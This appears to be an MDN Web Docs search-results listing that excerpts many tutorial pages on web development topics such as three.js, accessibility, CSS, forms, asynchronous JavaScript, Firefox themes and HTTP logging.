e chose three because it is one of the most popular webgl libraries, and it is easy to get started with. we are not trying to say it is better than any other webgl library available, and you should feel free to try another library, such as copperlicht, glge, or playcanvas. environment setup to start developing with three.js, you don't need much. you should: make sure you are using a modern browser with good webgl support, such as the latest firefox or chrome. create a directory to store your experiments in. save a copy of the latest minimized three.js library inside your directory. open the three.js documentation in a separate tab — it is useful to refer to. html structure here's the html structure we will use: <!doctype html> <html> <head> <meta charset="utf-8"> <title>mdn ga...
.... the first <script> element includes the three.js library in the page, and we will write our example code inside the second. there are two helper variables already included, which store the window's width and height. before reading further, copy this code to a new text file, and save it in your working directory as index.html. renderer a renderer is a tool which displays scenes right in your browser. there are a few different renderers: webgl is the default, and others you can use are canvas, svg, css, and dom. they differ in how everything is rendered, so the webgl implementation will implement differently than the css one. despite the variety of ways they achieve the goal, the experience will look the same for the user. thanks to this approach, a fallback can be used, if a desired techno...
...renderers: webgl is the default, and others you can use are canvas, svg, css, and dom. they differ in how everything is rendered, so the webgl implementation will implement differently than the css one. despite the variety of ways they achieve the goal, the experience will look the same for the user. thanks to this approach, a fallback can be used, if a desired technology is not supported by the browser. var renderer = new three.webglrenderer({antialias:true}); renderer.setsize(width, height); renderer.setclearcolor(0xdddddd, 1); document.body.appendchild(renderer.domelement); we are creating a new webgl renderer, setting its size to fit the whole available space on the screen, and appending the dom structure to the page. you might have noticed the antialias parameter in the first line — ...
...And 2 more matches
Square tilemaps implementation: Static maps - Game development
d dimensions of the tile inside the atlas, and the target coordinates and size (a different tile size in here would scale the tile.) so, for instance, to draw the tree tile, which is the third in the atlas, at the screen coordinates (128, 320), we would call drawimage() with these values: context.drawimage(atlasimage, 192, 0, 64, 64, 128, 320, 64, 64); in order to support atlases with multiple rows and columns, you would need to know how many rows and columns there are to be able to compute the source x and y. the tilemap data structure to store that map data, we can use a plain object or a custom class. for the sake of simplicity, in the example code a plain object has been used. it contains the basic map properties: cols: the width of the map, in columns. rows: the height of the map...
... tsize: the tile size, in pixels. tiles: a 1-dimensional array containing the visual grid. gettile(): a helper method that gets the tile index in a certain position. tiles contains the actual visual map data. we are representing the tiles with indices, assigned to the tiles dependant on their position in the atlas (e.g. ...
...turned value would just be tiles[column][row]. however, it's usually more common to represent the grid with a 1-dimensional array. in this case, we need to map the column and row to an array index: var index = row * map.cols + column; wrapping up, an example of a tilemap object could look like the following. ...
...And 2 more matches
Build the brick field - Game development
breakout game really needs is some bricks to destroy with the ball, and this is what we'll create now! setting up the brick variables the overall aim of this lesson is to render a few lines of code for the bricks, using a nested loop that works through a two-dimensional array. ...
...efine information about the bricks such as their width and height, rows and columns, etc. add the following lines to your code below the variables which you have previously declared in your program. var brickrowcount = 3; var brickcolumncount = 5; var brickwidth = 75; var brickheight = 20; var brickpadding = 10; var brickoffsettop = 30; var brickoffsetleft = 30; here we've defined the number of rows and columns of bricks , their width and height, the padding between the bricks so they won't touch each other and a top and left offset so they won't start being drawn right from the edge of the canvas. we will hold all our bricks in a two-dimensional array. ...
...ar brickoffsetleft = 30; here we've defined the number of rows and columns of bricks , their width and height, the padding between the bricks so they won't touch each other and a top and left offset so they won't start being drawn right from the edge of the canvas. we will hold all our bricks in a two-dimensional array. it will contain the brick columns (c), which in turn will contain the brick rows (r), which in turn will each contain an object containing the x and y position to paint each brick on the screen. ...
...And 2 more matches
Polyfill - MDN Web Docs Glossary: Definitions of Web-related terms
a polyfill is a piece of code (usually javascript on the web) used to provide modern functionality on older browsers that do not natively support it. for example, a polyfill could be used to mimic the functionality of an html canvas element on microsoft internet explorer 7 using a silverlight plugin or mimic support for css rem units, or text-shadow, or whatever you want. the reason why polyfills are not used exclusively is for better functionality and better performance. native implementations of apis can do more and are faster than polyfills. ...
..., or whatever you want. the reason why polyfills are not used exclusively is for better functionality and better performance. native implementations of apis can do more and are faster than polyfills. for example, the object.create polyfill only contains the functionalities that are possible in a non-native implementation of object.create. other times, polyfills are used to address issues where browsers implement the same features in different ways. the polyfill uses non-standard features in a certain browser to give javascript a standards-compliant way to access the feature. although this reason for polyfilling is very rare today, it was especially prevalent back in the days of ie6, netscape, and nnav where each browser implemented javascript very differently. the 1st version of jquery was a...
... non-standard features in a certain browser to give javascript a standards-compliant way to access the feature. although this reason for polyfilling is very rare today, it was especially prevalent back in the days of ie6, netscape, and nnav where each browser implemented javascript very differently. the 1st version of jquery was an early example of a polyfill. it was essentially a compilation of browser-specific workarounds so that javascript developers could have a single common api that worked in all browsers. ...
...And 2 more matches
Mobile accessibility - Learn web development
revious articles in the course. objective: to understand what problems exist with accessibility on mobile devices, and how to overcome them. accessibility on mobile devices the state of accessibility — and support for web standards in general — is good in modern mobile devices. long gone are the days when mobile devices ran completely different web technologies to desktop browsers, forcing developers to use browser sniffing and serve them completely separate sites (although quite a few companies still detect usage of mobile devices and serve them a separate mobile domain). these days, mobile devices can usually handle fully-featured websites, and the main platforms even have screenreaders built in to enable visually impaired users to use them successfully. modern mobil...
... to make a website accessible and usable on mobile, you just need to follow general good web design and accessibility best practices. ...
...s: access the global menu by quickly swiping down, and then right. access the local menu by quickly swiping up, and then right. swipe left and right to cycle between the different options. once you've selected the option you want, double-click to choose that option. for details on all the options available under the global and local context menus, see use global and local context menus. browsing web pages you can use the local context menu while in a web browser to find options to navigate web pages using just the headings, form controls, or links, or navigate line by line, etc. for example, with talkback turned on: open your web browser. activate the url bar. enter a web page that has a bunch of headings on it, such as the front page of bbc.co.uk. to enter the text of the url:...
...And 2 more matches
What is accessibility? - Learn web development
lation, have some form of disability", and "between 110 million and 190 million adults have significant difficulties in functioning." people with visual impairments people with visual impairments include people with blindness, low-level vision, and color blindness. many people with visual impairments use screen magnifiers that are either physical magnifiers or software zoom capabilities. most browsers and operating systems these days have zoom capabilities. some users will rely on screen readers, which is software that reads digital text aloud. some screen reader examples include: some are paid commercial products, like jaws (windows) and dolphin screen reader (windows). some are free products, like nvda (windows), chromevox (chrome, windows and mac os x), and orca (linux). some are bu...
...omevox (chrome, windows and mac os x), and orca (linux). some are built into the operating system, like voiceover (macos, ipados, ios), narrator (microsoft windows), chromevox (on chrome os), and talkback (android). it is a good idea to familiarise yourself with screen readers; you should also set up a screen reader and have a play around with it, to get an idea of how it works. see our cross-browser testing screen readers guide for more details on using them. the below video also provides a brief example of what the experience is like. in terms of statistics, the world health organization estimates that "285 million people are estimated to be visually impaired worldwide: 39 million are blind and 246 have low vision." (see visual impairment and blindness). that's a large and significant ...
...elopment work is the requirement that controls be accessible by the keyboard — we'll discuss keyboard accessibility in later articles in the module, but it is a good idea to try out some websites using just the keyboard to see how you get on. can you use the tab key to move between the different controls of a web form, for example? you can find more details about keyboard controls in our cross browser testing using native keyboard accessibility section. in terms of statistics, a significant number of people have mobility impairments. the u.s. centers for disease control and prevention disability and functioning (noninstitutionalized adults 18 years and over) reports the usa "percent of adults with any physical functioning difficulty: 16.1%". people with cognitive impairments cognitive imp...
...And 2 more matches
Advanced styling effects - Learn web development
this article acts as a box of tricks, providing an introduction to some interesting advanced styling features such as box shadows, blend modes, and filters. prerequisites: html basics (study introduction to html) and an idea of how css works (study css first steps.) objective: to get an idea about how to use some of the advanced styling effects available in modern browsers. box shadows box-shadow allows you to apply one or more drop shadows to an element's box. like text shadows, box shadows are supported pretty well across browsers, including ie9+ and edge. users of older ie versions might just have to cope with no shadows, so just test your designs to make sure your content is legible without them. you can find the examples in this section at box-shadow.htm...
...apes on mdn. -webkit-background-clip: text another feature we thought we'd mention briefly is the text value for background-clip. when used along with the proprietary -webkit-text-fill-color: transparent; feature, this allows you to clip background images to the shape of the element's text, making for some nice effects. ...
...lor: transparent; feature, this allows you to clip background images to the shape of the element's text, making for some nice effects. this is not an official standard, but has been implemented across multiple browsers, as it is popular, and used fairly widely by developers. when used in this context, both of the properties would require a -webkit- vendor prefix, even for non-webkit/chrome-based browsers: .text-clip { -webkit-background-clip: text; -webkit-text-fill-color: transparent; } so why have other browsers implemented a -webkit- prefix? mainly for browser compatibility — so many web developers have started implementing websites with -webkit- prefixes that it started to look like the other browsers were broken, whereas in actual fact they were following the standards. so they we...
...And 2 more matches
CSS layout - Learn web development
as different display values — and introduce some of the concepts we'll be covering throughout this module. normal flow elements on webpages lay themselves out according to normal flow - until we do something to change that. this article explains the basics of normal flow as a grounding for learning how to change it. ...
...this article will give you all you need to know to get started with page layout, then test your grid skills before moving on. ...
...t commonly used tools for creating multiple column layouts on webpages. with the advent of flexbox and grid it has now returned to its original purpose, as this article explains. positioning positioning allows you to take elements out of the normal document layout flow, and make them behave differently, for example sitting on top of one another, or always remaining in the same place inside the browser viewport. this article explains the different position values, and how to use them. multiple-column layout the multiple-column layout specification gives you a method of laying content out in columns, as you might see in a newspaper. this article explains how to use this feature. responsive design as more diverse screen sizes have appeared on web-enabled devices, the concept of responsive w...
...And 2 more matches
How do you make sure your website works properly? - Learn web development
st your website once it's online. you might be surprised at how many problems come up: images don't show up, pages don't load or load slowly, and so on. most of the time it's no big deal, just a simple mistake or an issue with your web hosting configuration. let's see how to diagnose and solve those problems. active learning there is no active learning available yet. dig deeper test in your browser if you want to know whether your website works correctly, the first thing to do is fire up your browser and go to the page you want to test. uh-oh, where's the image? let's look at our personal website, http://demozilla.examplehostingprovider.net/. it's not showing the image we expected! open firefox's network tool (tools ➤ web developer ➤ network) and reload the page: there's the ...
... there's the problem, that "404" at the bottom. "404" means "resource not found", and that's why we didn't see the image. http statuses servers respond with a status message whenever they receive a request. here are the most common statuses: 200: ok the resource you asked for was delivered. 301: moved permanently the resource has moved to a new location. you won't see this much in your browser, but it's good to know about "301" since search engines use this information a lot to update their indexes. 304: not modified the file has not changed since the last time you asked for it, so your browser can display the version from its cache, resulting in faster response times and more efficient use of bandwidth. 403: forbidden you aren't allowed to display the resource. usually it has to...
...03, and 404. fixing the 404 so what went wrong? at first glance, the image we asked for seems to be in the right place... but the network tool reported a "404". it turns out that we made a typo in our html code: unicorn_pics.png rather than unicorn_pic.png. so correct the typo in your code editor by changing the image's src attribute: save, push to the server, and reload the page in your browser: there you go! let's look at the http statuses again: 200 for / and for unicorn_pic.png means that we succeeded in reloading the page and the image. 304 for basic.css means that this file has not changed since the last request, so the browser can use the file in its cache rather than receiving a fresh copy. so we fixed the error and learned a few http statuses along the way! frequent ...
...And 2 more matches
Sending forms through JavaScript - Learn web development
ogressive web apps, single page apps, and framework based apps, it's common to use html forms to send data without loading a new document when response data is received. let's first talk about why this requires a different approach. gaining control of the global interface standard html form submission, as described in the previous article, loads the url where the data was sent, which means the browser window navigates with a full page load. avoiding a full page load can provide a smoother experience by avoiding network lag, and possible visual issues like flickering. many modern uis only use html forms to collect input from the user, and not for data submission. when the user tries to send the data, the application takes control and transmits the data asynchronously in the background, updat...
...irs. for transmitting binary data, the http request is reshaped into multipart/form-data. note: the fetch api is often used in place of xhr these days — it is a modern, updated version of xhr, which works in a similar fashion but has some advantages. most of the xhr code you'll see in this article could be swapped out for fetch. if you control the front-end (the code that's executed in the browser) and the back-end (the code which is executed on the server), you can send json/xml and process them however you want. but if you want to use a third party service, you need to send the data in the format the services require. so how should we send such data? the different techniques you'll require are done below. sending form data there are 3 ways to send form data: building an xmlhttpr...
...t urlencodeddata = "", urlencodeddatapairs = [], name; // turn the data object into an array of url-encoded key/value pairs. for( name in data ) { urlencodeddatapairs.push( encodeuricomponent( name ) + '=' + encodeuricomponent( data[name] ) ); } // combine the pairs into a single string and replace all %-encoded spaces to // the '+' character; matches the behaviour of browser form submissions. urlencodeddata = urlencodeddatapairs.join( '&' ).replace( /%20/g, '+' ); // define what happens on successful data submission xhr.addeventlistener( 'load', function(event) { alert( 'yeah! data sent and response loaded.' ); } ); // define what happens in case of error xhr.addeventlistener( 'error', function(event) { alert( 'oops! something went wrong.' ); ...
...And 2 more matches
UI pseudo-classes - Learn web development
previous overview: forms next in the previous articles, we covered the styling of various form controls, in a general manner. this included some usage of pseudo-classes, for example using :checked to target a checkbox only when it is selected. in this article, we will explore in detail the different ui pseudo-classes available to us in modern browsers for styling forms in different states. prerequisites: basic computer literacy, and a basic understanding of html and css, including general knowledge of pseudo-classes and pseudo-elements. objective: to understand what parts of forms are hard to style, and why; to learn what can be done to customize them. what pseudo-classes do we have available? the original pseudo-classes available to us (as of ...
...either checked or not checked), and the default selected option when the page loads (e.g. an <input type="checkbox"> with the checked attribute set, or an <option> element with the selected attribute set). there are many others too, but the ones listed above are the most obviously useful. some of the others are aimed at solving very specific niche problems, or simply not very well supported in browsers yet. the ones listed above all have pretty good browser support, but of course, you should test your form implementations carefully to make sure they work for your target audience. note: a number of the pseudo-classes discussed here are concerned with styling form controls based on their validation state (is their data valid, or not?) you'll learn much more about setting and controlling vali...
...al pseudo-classes. for example, if we apply the following css to the above html: input:required { border: 1px solid black; } input:optional { border: 1px solid silver; } the required controls would have a black border, and the optional control will have a silver border, like so: you can also try submitting the form without filling it in, to see the client-side validation error messages browsers give you by default. the above form isn't bad, but it isn't great either. for a start, we are signalling required versus optional status using color alone, which isn't great for colorblind people. second, the standard convention on the web for required status is an asterisk (*), or the word "required" being associated with the controls in question. in the next section, we'll look at a better...
...And 2 more matches
Installing basic software - Learn web development
st in a desktop or laptop computer running windows, macos or linux. a text editor, to write code in. this could be a text editor (e.g. visual studio code, notepad++, sublime text, atom, gnu emacs, or vim), or a hybrid editor (e.g. dreamweaver or webstorm). ...
... or laptop computer running windows, macos or linux. a text editor, to write code in. this could be a text editor (e.g. visual studio code, notepad++, sublime text, atom, gnu emacs, or vim), or a hybrid editor (e.g. dreamweaver or webstorm). office document editors are not suitable for this use, as they rely on hidden elements that interfere with the rendering engines used by web browsers. web browsers, to test code in. currently, the most-used browsers are firefox, chrome, opera, safari, internet explorer and microsoft edge. you should also test how your site performs on mobile devices and on any old browsers your target audience may still be using (such as ie 8–10.) lynx, a text-based terminal web browser, is great for seeing how your site is experienced by visually-impaired users. a gr...
...dea further, offering a complete system with some custom syntaxes for you to write a web app on top of. more tools besides! what tools do i actually need, right now? that looks like a scary list, but fortunately, you can get started in web development without knowing anything about most of these. in this article, we'll just set you up with a bare minimum — a text editor and some modern web browsers. installing a text editor you probably already have a basic text editor on your computer. by default windows includes notepad and macos comes with textedit. linux distros vary; ubuntu comes with gedit by default. for web development, you can probably do better than notepad or textedit. we recommend starting with visual studio code, which is a free editor, that offers live previews and code ...
...And 2 more matches
HTML Cheatsheet - Learn web development
textual cite <cite>lorem ipsum</cite> lorem ipsum text displayed higher than normal text x<sup>2</sup> x2 a short inline quotation <q>the q element indicates a short inline quotation.</q> the q element indicates a short inline quotation. ...
... a short inline quotation <q>the q element indicates a short inline quotation.</q> the q element indicates a short inline quotation. ...
... code format <p>this text is in normal format.</p> <code>this text is in code format.</code> <pre>this text is in predefined format.</pre> this text is in normal format. this text is in code format. this text is in predefined format. ...
...And 2 more matches
Advanced text formatting - Learn web development
characters.)</dd> <dt>monologue</dt> <dd>in drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present.</dd> <dt>aside</dt> <dd>in drama, where a character shares a comment only with the audience for humorous or dramatic effect. this is usually a feeling, thought, or piece of additional background information.</dd> </dl> the browser default styles will display description lists with the descriptions indented somewhat from the terms. note that it is permitted to have a single term with multiple descriptions, for example: <dl> <dt>aside</dt> <dd>in drama, where a character shares a comment only with the audience for humorous or dramatic effect. this is usually a feeling, thought, or piece of additional background in...
... inline quotations inline quotations work in exactly the same way, except that they use the <q> element. for example, the below bit of markup contains a quotation from the mdn <q> page: <p>the quote element — <code>&lt;q&gt;</code> ...
...he quotation is there to demonstrate that. inline quotations inline quotations work in exactly the same way, except that they use the <q> element. for example, the below bit of markup contains a quotation from the mdn <q> page: <p>the quote element — <code>&lt;q&gt;</code> — is <q cite="/docs/web/html/element/q">intended for short quotations that don't require paragraph breaks.</q></p> browser default styling will render this as normal text put in quotes to indicate a quotation, like so: citations the content of the cite attribute sounds useful, but unfortunately browsers, screenreaders, etc. don't really do much with it. there is no way to get the browser to display the contents of cite, without writing your own solution using javascript or css. if you want to make the source of...
...And 2 more matches
Creating hyperlinks - Learn web development
one of the most exciting innovations the web has to offer. they've been a feature of the web since the beginning, and are what makes the web a web. hyperlinks allow us to link documents to other documents or resources, link to specific parts of documents, or make apps available at a web address. ...
...er documents or resources, link to specific parts of documents, or make apps available at a web address. almost any web content can be converted to a link so that when clicked or otherwise activated the web browser goes to another web address (url). note: a url can point to html files, text files, images, text documents, video and audio files, or anything else that lives on the web. if the web browser doesn't know how to display or handle the file, it will ask you if you want to open the file (in which case the duty of opening or handling the file is passed to a suitable native app on the device) or download the file (in which case you can try to deal with it later on). for example, the bbc homepage contains a many links that point not only to multiple news stories, but also different area...
...links wherever possible when linking to other locations within the same website. when you link to another website, you'll need to use an absolute link. for a start, it's easier to scan your code — relative urls are generally shorter than absolute urls, which makes reading code much easier. second, it's more efficient to use relative urls wherever possible. ...
...And 2 more matches
HTML text fundamentals - Learn web development
this article explains the way html can be used to structure a page of text by adding headings and paragraphs, emphasizing words, creating lists, and more. prerequisites: basic html familiarity, as covered in getting started with html. objective: learn how to mark up a basic page of text to give it structure and meaning—including paragraphs, headings, lists, emphasis, and quotations. ...
... running example for this article (a nice hummus recipe). you should save a copy of this file on your local machine, as you'll need it for the exercises later on. this document's body currently contains multiple pieces of content—they aren't marked up in any way, but they are separated with linebreaks (enter/return pressed to go onto the next line). however, when you open the document in your browser, you'll see that the text appears as a big chunk! this is because there are no elements to give the content structure, so the browser does not know what is a heading and what is a paragraph. furthermore: users looking at a web page tend to scan quickly to find relevant content, often just reading the headings to begin with. (we usually spend a very short time on a web page.) if they can't...
...ountries use red to mean "go"? i hope not.) in a similar vein, we need to make sure we are using the correct elements, giving our content the correct meaning, function, or appearance. in this context the <h1> element is also a semantic element, which gives the text it wraps around the role (or meaning) of "a top level heading on your page." <h1>this is a top level heading</h1> by default, the browser will give it a large font size to make it look like a heading (although you could style it to look like anything you wanted using css). more importantly, its semantic value will be used in multiple ways, for example by search engines and screen readers (as mentioned above). on the other hand, you could make any element look like a top level heading. consider the following: <span style="font-s...
...And 2 more matches
Making asynchronous programming easier with async and await - Learn web development
basics of async/await there are two parts to using async/await in your code. the async keyword first of all we have the async keyword, which you put in front of a function declaration to turn it into an async function. an async function is a function that knows how to expect the possibility of the await keyword being used to invoke asynchronous code. try typing the following lines into your browser's js console: function hello() { return "hello" }; hello(); the function returns "hello" — nothing special, right? but what if we turn this into an async function? try the following: async function hello() { return "hello" }; hello(); ah. invoking the function now returns a promise. this is one of the traits of async functions — their return values are guaranteed to be converted to pro...
...= gender; this.interests = interests; } async greeting() { return await promise.resolve(`hi! i'm ${this.name.first}`); }; farewell() { console.log(`${this.name.first} has left the building. ...
...lve(`hi! ...
...And 2 more matches
General asynchronous programming concepts - Learn web development
overview: asynchronous next in this article, we'll run through a number of important concepts relating to asynchronous programming, and how this looks in web browsers and javascript. you should understand these concepts before working through the other articles in the module. prerequisites: basic computer literacy, a reasonable understanding of javascript fundamentals. objective: to understand the basic concepts behind asynchronous programming, and how they manifest in web browsers and javascript. asynchronous? normally, a given program's code runs straight along, with only one thing happening at once. if a function relies on the result of another function, it has to wait for the other function to finish and return, and until that happens, the e...
......
...t's done. this lets you get other work done in the meantime, which is the basis of asynchronous programming. it is up to the programming environment you are using (web browsers, in the case of web development) to provide you with apis that allow you to run such tasks asynchronously. blocking code asynchronous techniques are very useful, particularly in web programming. when a web app runs in a browser and it executes an intensive chunk of code without returning control to the browser, the browser can appear to be frozen. this is called blocking; the browser is blocked from continuing to handle user input and perform other tasks until the web app returns control of the processor. let's look at a couple of examples that show what we mean by blocking. in our simple-sync.html example (see it r...
...And 2 more matches
Graceful asynchronous programming with Promises - Learn web development
user which microphone to use and which camera to use (or whether to be a voice-only call, among other possible options), it can block until not only all of those decisions are made, but also the camera and microphone have been engaged. also, the user may not respond immediately to these permission requests. this can potentially take a long time. since the call to getusermedia() is made from the browser's main thread, the entire browser is blocked until getusermedia() returns! obviously, that's not an acceptable option; without promises, everything in the browser becomes unusable until the user decides what to do about the camera and microphone. so instead of waiting for the user, getting the chosen devices enabled, and directly returning the mediastream for the stream created from the selecte...
...); here we are running the url.createobjecturl() method, passing it as a parameter the blob returned when the second promise fulfills. this will return a url pointing to the object. then we create an <img> element, set its src attribute to equal the object url and append it to the dom, so the image will display on the page! if you save the html file you've just created and load it in your browser, you'll see that the image is displayed in the page as expected. good work! note: you will probably notice that these examples are somewhat contrived. you could just do away with the whole fetch() and blob() chain, and just create an <img> element and set its src attribute value to the url of the image file, coffee.jpg. we did, however, pick this example because it demonstrates promises in a ...
...mises fails (rejects, in promise-speak). we can add error handling by running the .catch() method off the previous promise. add this now: let errorcase = promise3.catch(e => { console.log('there has been a problem with your fetch operation: ' + e.message); }); to see this in action, try misspelling the url to the image and reloading the page. the error will be reported in the console of your browser's developer tools. this doesn't do much more than it would if you just didn't bother including the .catch() block at all, but think about it — this allows us to control error handling exactly how we want. in a real app, your .catch() block could retry fetching the image, or show a default image, or prompt the user to provide a different image url, or whatever. note: you can see our version...
...And 2 more matches
Basic math in JavaScript — numbers and operators - Learn web development
article because we wanted to keep it as a simple introduction and only cover the real basic essentials for now; however, once you've read through this module a couple of times it is worth going to the object reference pages and learning more about what's available. for example, to round your number to a fixed number of decimal places, use the tofixed() method. type the following lines into your browser's console: let lotsofdecimal = 1.766584958675746364; lotsofdecimal; let twodecimalplaces = lotsofdecimal.tofixed(2); twodecimalplaces; converting to number data types sometimes you might end up with a number that is stored as a string type, which makes it difficult to perform calculations with it. this most commonly happens when data is entered into a form input, and the input type is text. ...
...u were expecting; the section below might well give the answer as to why. operator precedence let's look at the last example from above, assuming that num2 holds the value 50 and num1 holds the value 10 (as originally stated above): num2 + num1 / 8 + 2; as a human being, you may read this as "50 plus 10 equals 60", then "8 plus 2 equals 10", and finally "60 divided by 10 equals 6". but the browser does "10 divided by 8 equals 1.25", then "50 plus 1.25 plus 2 equals 53.25". this is because of operator precedence — some operators are applied before others when calculating the result of a calculation (referred to as an expression, in programming). operator precedence in javascript is the same as is taught in math classes in school — multiply and divide are always done first, then add ...
..., note that you can't apply these directly to a number, which might seem strange, but we are assigning a variable a new updated value, not operating on the value itself. the following will return an error: 3++; so, you can only increment an existing variable. ...
...And 2 more matches
Storing the information you need — Variables - Learn web development
vascript — variables. prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascript is. objective: to gain familiarity with the basics of javascript variables. tools you need throughout this article, you'll be asked to type in lines of code to test your understanding of the content. if you are using a desktop browser, the best place to type your sample code is your browser's javascript console (see what are browser developer tools for more information on how to access this tool). what is a variable? a variable is a container for a value, like a number we might use in a sum, or a string that we might use as part of a sentence. but one special thing about variables is that their contained values can change.
...le cardboard boxes that you can store things in. declaring a variable to use a variable, you've first got to create it — more accurately, we call this declaring the variable. to do this, we type the keyword var or let followed by the name you want to call your variable: let myname; let myage; here we're creating two variables called myname and myage. try typing these lines into your web browser's console. after that, try creating a variable (or two) with your own name choices. note: in javascript, all code instructions should end with a semi-colon (;) — your code may work correctly for single lines, but probably won't when you are writing multiple lines of code together. try to get into the habit of including it. you can test whether these values now exist in the execution envir...
...is a sensible language decision. there is no reason to redeclare variables — it just makes things more confusing. for these reasons and more, we recommend that you use let as much as possible in your code, rather than var. there is no reason to use var, unless you need to support old versions of internet explorer with your code (it doesn't support let until version 11; the modern windows edge browser supports let just fine). updating a variable once a variable has been initialized with a value, you can change (or update) that value by simply giving it a different value. try entering the following lines into your console: myname = 'bob'; myage = 40; an aside on variable naming rules you can call a variable pretty much anything you like, but there are limitations. generally, you should s...
...And 2 more matches
Object-oriented JavaScript for beginners - Learn web development
e example let's start by looking at how you could define a person with a normal function. ...
...call too. note: a constructor function name usually starts with a capital letter — this convention is used to make constructor functions easier to recognize in code. ...
...ing() method available. note that they are using their own name value that was assigned to them when they were created; this is one reason why it is very important to use this, so each one uses its own value, and not some other value. let's look at the constructor calls again: let person1 = new person('bob'); let person2 = new person('sarah'); in each case, the new keyword is used to tell the browser we want to create a new object instance, followed by the function name with its required parameters contained in parentheses, and the result is stored in a variable — very similar to how a standard function is called. each instance is created according to this definition: function person(name) { this.name = name; this.greeting = function() { alert('hi! i\'m ' + this.name + '.'); };...
...And 2 more matches
Object prototypes - Learn web development
ns. the former is the property on each instance, and the latter is the property on the constructor. that is, object.getprototypeof(new foobar()) refers to the same object as foobar.prototype. let's look at an example to make this a bit clearer. understanding prototype objects here we'll go back to the example in which we finished writing our person() constructor — load the example in your browser. you can use our oojs-class-further-exercises.html example (see also the source code), if you don't already have it from working through the last article. in this example, we have defined a constructor function, like so: function person(first, last, age, gender, interests) { // property and method definitions this.name = { 'first': first, 'last' : last }; this.age = age; th...
...you will however also see some other members — tostring, valueof, etc — these are defined on person1's prototype object's prototype object, which is object.prototype. what hap...
.... you will however also see some other members — tostring, valueof, etc — these are defined on person1's prototype object's prototype object, which is object.prototype. what happens if you call a method on person1, which is actually defined on object.prototype? for example: person1.valueof() valueof() returns the value of the object it is called on. in this case, what happens is: the browser initially checks to see if the person1 object has a valueof() method available on it, as defined on its constructor, person(), and it doesn't. so the browser checks to see if the person1's prototype object has a valueof() method available on it. it doesn't, then the browser checks person1's prototype object's prototype object, and it has. so the method is called, and all is good! note: we w...
...And 2 more matches
Mozilla’s UAAG evaluation report
essibility regulations at this time. this document is based on the september 12, 2001 candidate recommendation of uaag 1.0. this may be different from the most recent version, check for updates on the user agent working group home page. look to the "techniques" document for real-world implementation examples of each checkpoint. this uaag evaluation report covers nightly builds of the mozilla web browser itself, running on windows 2000, as of february 20, 2002. we are claiming to support html 4, css 2, png, jpg and gif. this evaluation does not cover mailnews or composer. there may be accessibility and customizability features not listed here. a very good resource is the customizing document. when filing mozilla bugs based on uaag requirements, please use bug 24413 as the uaag meta bug. checkpo...
...mented nr: not rated na: not applicable document under construction guideline 1. support input and output device-independence. checkpoint title status notes/plans 1.1 full keyboard access. (p1) vg we have some remaining bugs, and some keyboard usability issues, but in general mozilla now has keyboard equivalents for almost everything. most browsers do not allow the user to select text with the keyboard alone. we intend to do this with a caret browsing feature. 1.2 activate event handlers. (p1) p onmouseover, onmousedown, onmouseup, onmousemove, onclick, ondbclick: no keyboard support onfocus and onblur: cannot be activated with pointer 1.3 provide text messages. (p1) c status line and alert boxes used to...
...ated images can be made still with the escape key animated images can be made still as a preference under preferences, privacy & security, images - "animated images should loop" mozilla has no preference or command to toggle audio or video 3.3 toggle animated/blinking text. (p1) p the following line can be added to a user's prefs.js file to control blinking: user_pref("browser.blink_allowed", false); bug 89144 has been filed to expose this pref in the ui. mozilla doesn't support <marquee> by default. 3.4 toggle scripts. (p1) g preferences, advanced, scripts & windows - enable javascript for when toggled off, we don't notify the user when a page is loaded with scripts 3.5 toggle content refresh. (p1) ni mozilla has no features...
...And 2 more matches
Theme concepts
themes developed using the webextensions api in firefox enable you to change the look of the browser by adding images to the header area of the firefox browser; this is the area behind the menu bar, toolbars, address bar, search bar, and tab strip. these theme options can be implemented as static themes (although the theme images themselves may be animated) or as dynamic themes created in a browser extension. if you have a lightweight theme it will be converted to this new theme format automatically before lightweight themes are deprecated. you do not need to port your theme. however, please feel free to update your themes to use any of the new features described here. ...
...these resources are then packed in a zip for publication on addons.mozilla.org (amo) or for self-distribution. for more information on self-distribution, visit signing and distributing your add-on. ...
...e same folder as the manifest.json file or a sub folder. these resources are then packed in a zip for publication on addons.mozilla.org (amo) or for self-distribution. for more information on self-distribution, visit signing and distributing your add-on. you can also use the theme generator on amo to create a static theme. additionally, firefox color can be used to preview customizations to the browser's theme with options to share and export a theme. a theme and browser extension functionality cannot be defined in one package, such as including a theme to complement an extension. you can, however, programmatically include a theme in an extension using the theme api. see dynamic themes. defining a theme to create a theme (in this example a simple, single image theme): create a folder ...
...And 2 more matches
Themes
themes allow you to change the look and feel of the user interface and personalize it to your tastes. learn how to create and share themes! ...
... themes allow you to change the look and feel of the user interface and personalize it to your tastes. learn how to create and share themes! ...
...terface and personalize it to your tastes. learn how to create and share themes! ...
...And 2 more matches
HTTP logging
sometimes, while debugging your web app (or client-side code using necko), it can be useful to log http traffic. this saves a log of http-related information from your browser run into a file that you can examine (or upload to bugzilla if a developer has asked you for a log). note: the web console also offers the ability to peek at http transactions within firefox. http logging generally provides more detailed logging. using about:networking this is available starting with firefox 52. this is the best and easiest way to do http logging. at any point during while your browser is running, you can turn logging on and off. this allows you to capture only the "interesting" part of the browser's behavior (i.e. your bug), which makes the http log much smaller and easier to analyze...
... open a new tab and type in "about:networking" into the url bar. ...
...ation of the log file if you don't like the default adjust the list of modules that you want to log: this list has the exact same format as the moz_log environment variable (see below). generally the default list is ok, unless a mozilla developer has told you to modify it. click on start logging. reproduce the bug (i.e. go to the web site that is broken for you and make the bug happen in the browser) make a note of the value of "current log file". click on stop logging. go to the folder containing the specified log file, and gather all the log files. you will see several files that look like: log.txt-main.1806, log.txt-child.1954, log.txt-child.1970, etc. this is because firefox now uses multiple processes, and each process gets its own log file. for many bugs, the "log.txt-main" file...
...And 2 more matches
Configuring Build Options
to a value approximately 1.5× to 2.0× the number of cores on your system. mk_add_options moz_make_flags="-j4" if your machine is overheating, you might want to try a lower value, e.g. -j1. choose an application the --enable-application=application flag is used to select an application to build. firefox is the default. ...
...res on your system. mk_add_options moz_make_flags="-j4" if your machine is overheating, you might want to try a lower value, e.g. -j1. choose an application the --enable-application=application flag is used to select an application to build. firefox is the default. ...
